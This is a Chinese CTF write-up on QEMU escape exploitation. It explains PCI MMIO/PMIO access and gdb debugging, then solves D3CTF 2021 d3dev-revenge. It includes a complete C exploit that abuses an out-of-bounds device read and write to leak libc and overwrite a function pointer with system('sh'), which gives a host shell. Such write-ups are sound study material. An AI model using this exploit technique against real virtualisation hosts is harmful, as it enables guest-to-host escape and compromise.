拖了很久的虚拟化学习,主要是通过例题了解在ctf题目中的调试和漏洞利用
qemu原理
-
每个qemu虚拟机都是宿主机上的一个进程,在进程中用mmap分配出大小为0x40000000字节的宿主机的虚拟内存来作为虚拟机的物理内存
-
PCI设备有其配置空间来保存设备信息,头部最开始的数据为Device id和Vendor id
-
设备可以申请两类空间,memory mapped I/O(MMIO)和port mapped I/O(PMIO),并在配置空间中用Base Address Registers(BAR)来标记内存地址信息
-
每个PCI设备有一个总线号、一个设备号、一个功能标识,存在PCI域,PCI域最多可以承载256条总线, 每条总线最多可以有32个设备,每个设备最多可以有8个功能
lspci
可以查看设备所在的域、总线号、设备号、功能号,不同版本lspci
显示的内容不一样其中对于形如
0000:00:03.0
的数据,0000是域,00是总线号,03是设备号,0是功能号可以通过这样一些标识符取访问设备的资源
hexdump /sys/devices/pci0000:00/0000:00:03.0/config
-
访问memory mapped I/O内存:打开获取fd后用mmap映射内存地址,直接操作内存
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
访问port mapped I/O内存:申请访问端口权限后用in、out访问
iopl(3); inb(port); outb(val,port);
设备会注册自己的MMIO和PMIO读写函数,当检测到访问其所在的内存或端口时调用注册的读写函数,实现对设备内存的读写功能
-
在初始化设备时会初始化四个比较重要的结构体:TypeInfo -> TypeImpl -> ObjectClass -> Object,每个 Object对应一个具体的device,其构造函数在qemu启动用
-device
参数加载设备时调用设备读写操作函数的第一个参数是这个Object类的指针
详细请看
题目
qemu pwn题目的文件与Linux 内核题目类似,提供一个启动脚本、Linux内核、文件系统,以及一个patch过的qemu文件,运行启动脚本用题目附件给的qemu文件开启虚拟机
启动脚本文件中一般会添加一个PCI设备,在PCI中内置漏洞,也与内核题目相似,但是实现设备读写操作的代码在patch过的qemu文件中,可以在ida中搜索函数名快速定位设备读写函数
要求通过对设备的操作函数中的漏洞获得docker环境host机的shell,获取宿主机上的flag
以D3CTF 2021的d3dev为例学习qemu pwn的调试方法和漏洞利用方法
调试qemu
查看是否开启pie保护
[*] '/home/x1ng/vm/d3dev/bin/qemu-system-x86_64'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
例题开启了地址随机化保护
运行启动脚本,用gdb的attach功能附加到qemu进程上进行调试
shell1:
gcc -o exp exp.c -static
find . | cpio -o --format=newc > ../rootfs.img
shell2:
./launch.sh
shell3:
x1ng@ubuntu:~$ ps -ef | grep qemu
x1ng 5665 5664 63 04:26 pts/0 00:00:02 ./qemu-system-x86_64 -L pc-bios/ -m 128M -kernel vmlinuz -initrd rootfs.img -smp 1 -append root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet -device d3dev -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 -nographic -monitor /dev/null
x1ng 5669 5380 0 04:26 pts/3 00:00:00 grep --color=auto qemu
shell4:
sudo gdb -p 5665
attach时需要root权限
成功attach之后即可下断点调试,由于开启了pie保护,用pwndbg的$rebase()
根据ida中的地址确定进程中的真实地址
D3CTF 2021 d3dev-revenge
查看题目的启动脚本
#!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null
漏洞应该存在于d3dev设备,将qemu-system-x86_64放到ida分析,在函数窗口搜索d3dev,可以找到相关的函数
在d3dev_class_init
函数中可以找到设备的Device id(0x11E8)和Vendor id(0x2333)
在pci_d3dev_realize
函数中可以找到该设备MMIO和PMIO的读写操作函数,且MMIO的内存大小为0x800,PMIO的内存大小为0x20,在读写的时候如果访问的地址在其范围内则会调用相关的读写函数
查看读写函数的前先将第一个参数恢复为Object结构体指针:
右键单机参数->Convert to struct*->d3devState
为什么是d3devState???
d3devState是d3dev设备对应的Object结构体,在这篇文章里有介绍,这个结构体在
pci_d3dev_realize
函数中初始化对应这篇文章中的strng设备的
pci_strng_realize
函数static void pci_strng_realize(PCIDevice *pdev, Error **errp) { STRNGState *strng = DO_UPCAST(STRNGState, pdev, pdev);// DO_UPCAST实现了在继承链之间的强制转换 memory_region_init_io(&strng->mmio, OBJECT(strng), &strng_mmio_ops, strng, "strng-mmio", STRNG_MMIO_SIZE); pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &strng->mmio); memory_region_init_io(&strng->pmio, OBJECT(strng), &strng_pmio_ops, strng, "strng-pmio", STRNG_PMIO_SIZE); pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_IO, &strng->pmio); }
但是这题在ida中逆向分析
pci_d3dev_realize
函数并不能找到结构体名称,切换汇编窗口可以找到这个结构体.text:00000000004D7E10 ; void __fastcall pci_d3dev_realize(PCIDevice_0 *pdev, Error_0 **errp) .text:00000000004D7E10 pci_d3dev_realize proc near ; DATA XREF: d3dev_class_init+27↑o .text:00000000004D7E10 errp = rsi ; Error_0 ** .text:00000000004D7E10 pdev = rdi ; PCIDevice_0 * .text:00000000004D7E10 ; __unwind { .text:00000000004D7E10 endbr64 .text:00000000004D7E14 d3dev = rdi ; d3devState * .text:00000000004D7E14 push r12 .text:00000000004D7E16 lea r12, [d3dev+8E0h] .text:00000000004D7E1D mov rcx, d3dev ; opaque .text:00000000004D7E20 mov errp, d3dev ; owner .text:00000000004D7E23 push rbp .text:00000000004D7E24 mov r9d, 800h ; size .text:00000000004D7E2A mov rbp, d3dev .text:00000000004D7E2D mov d3dev, r12 ; mr .text:00000000004D7E30 d3dev = rcx ; d3devState * .text:00000000004D7E30 lea r8, aD3devMmio ; "d3dev-mmio" .text:00000000004D7E37 lea rdx, d3dev_mmio_ops ; ops .text:00000000004D7E3E sub rsp, 8 ... ...
在d3dev_mmio_read
和d3dev_mmio_write
函数可以在d3devState->blocks
数组中读写,其中的读写操作的下标是根据用户输入的读写地址addr和d3devState->seek
确定的,查看d3devState的结构体,可以看到blocks数组的大小为0x108*8
00000000 d3devState struc ; (sizeof=0x1300, align=0x10, mappedto_4545)
00000000 pdev PCIDevice_0 ?
000008E0 mmio MemoryRegion_0 ?
000009D0 pmio MemoryRegion_0 ?
00000AC0 memory_mode dd ?
00000AC4 seek dd ?
00000AC8 init_flag dd ?
00000ACC mmio_read_part dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed dd ?
00000AD8 blocks dq 257 dup(?) ; base 16
000012E0 key dq ?
000012E8 key1 dq ?
000012F0 rand_r dq ? ; offset
000012F8 db ? ; undefined
000012F9 db ? ; undefined
000012FA db ? ; undefined
000012FB db ? ; undefined
000012FC db ? ; undefined
000012FD db ? ; undefined
000012FE db ? ; undefined
000012FF db ? ; undefined
00001300 d3devState ends
在注册mmio读写函数的时候设置了访问内存的大小为0x800,也就是根据addr能设置的idx最大为0x100,而d3dev_pmio_write
函数中最大可以将seek设置为0x100,所以最大能读写的下标为0x200,存在越界读写的漏洞
在d3dev_mmio_write
函数中的越界写可以直接修改结构体中的数据,两个分支一个可以直接覆写4字节,另一个经过加密后可以覆写8字节;d3dev_mmio_read
读取的数据要经过随机数key和key1进行加密,可以通过越界写将两处key内存覆盖为0或在d3dev_pmio_write
函数中将两处key都设置为0
rand_r是一个libc中函数的指针,在d3dev_pmio_write
函数中被调用,参数为d3devState->r_seed
,可以在d3dev_pmio_write
中设置r_seed的值,所以漏洞利用思路是直接泄露该地址后可以修改参数为”sh”并覆写rand_r指针为system函数,执行system("sh")
由于没有pwntools可以在泄露libc地址后快速定位system函数地址,可以在libc database search查找各个libc的函数偏移,这里在本机运行直接泄露查找,在比赛的时候可能需要运行docker泄露地址,以防libc小版本偏移不同
exp:
//gcc -o exp exp.c -static
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <stdio.h>
#include <unistd.h>
unsigned char* mmio_mem = 0;
void setup_mmio() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}
void mmio_write(uint32_t addr, uint32_t value) {
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint64_t addr) {
return *((uint64_t *)(mmio_mem + addr));
}
uint32_t pmio_base = 0xc040;
void setup_pmio() {
iopl(3);
}
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, pmio_base + addr);
}
uint64_t pmio_read(uint32_t addr)
{
return (uint64_t)inl(pmio_base + addr);
}
uint64_t encode(uint32_t high, uint32_t low) {
uint32_t addr = 0xC6EF3720;
for (int i = 0; i < 32; ++i) {
high = high - ((low + addr) ^ (low >> 5) ^ (16 * low));
low = low - (((high + addr) ^ (high >> 5) ^ (16 * high)));
addr += 0x61C88647;
}
return (uint64_t)high * 0x100000000 + low;
}
uint64_t decode(uint32_t high, uint32_t low) {
uint32_t addr = 0x0;
for (int i = 0; i < 32; ++i) {
addr -= 0x61C88647;
low += (((high + addr) ^ (high >> 5) ^ (16 * high)));
high += ((low + addr) ^ (low >> 5) ^ (16 * low));
}
return (uint64_t)high * 0x100000000 + low;
}
int main(int argc, char* argv[])
{
printf("[+] Setup\n");
setup_pmio();
setup_mmio();
printf("[+] IO\n");
pmio_write(0x8, 0x100);
mmio_write(8*1,0);
mmio_write(0,0);
mmio_write(8*2,0);
mmio_write(0,0);
uint64_t libcbase=0;
libcbase = mmio_read(8*3);
libcbase = decode(libcbase>>32, libcbase&0xffffffff) - 0x4aeb0;
printf("[+] libcbase: 0x%lx\n",libcbase);
uint64_t system = libcbase+0x055410;
printf("[+] system: 0x%lx\n",system);
uint64_t enc_system = encode(system>>32, system&0xffffffff);
mmio_write(8*3,enc_system&0xffffffff);
mmio_write(8*3,enc_system>>32);
pmio_write(0x1c,0x6873);
return 0;
}
在使用d3dev_mmio_read输出加密数据时,函数中分两次返回高4字节和低4字节
if ( opaque->mmio_read_part ) { opaque->mmio_read_part = 0; high = (unsigned int)high; } else { opaque->mmio_read_part = 1; high = low; } return high;
但是在使用者看来,只访问了一次内存,是因为在封装的访存函数模板中获取了8字节长度的数据
uint64_t mmio_read(uint64_t addr) { return *((uint64_t *)(mmio_mem + addr)); } int main() { ... mmio_read(8*3); ... }
而如果改为
uint64_t mmio_read(uint64_t addr) { return *((uint32_t *)(mmio_mem + addr)); } int main() { ... mmio_read(8*3); mmio_read(8*3); ... }
则第一次会返回这块8字节内存的低4字节,第二次返回高4字节
在使用exp模板的时候注意封装好的访问内存函数中使用的size
参考资料
qemu-pwn-基础知识 « 平凡路上 (ray-cp.github.io)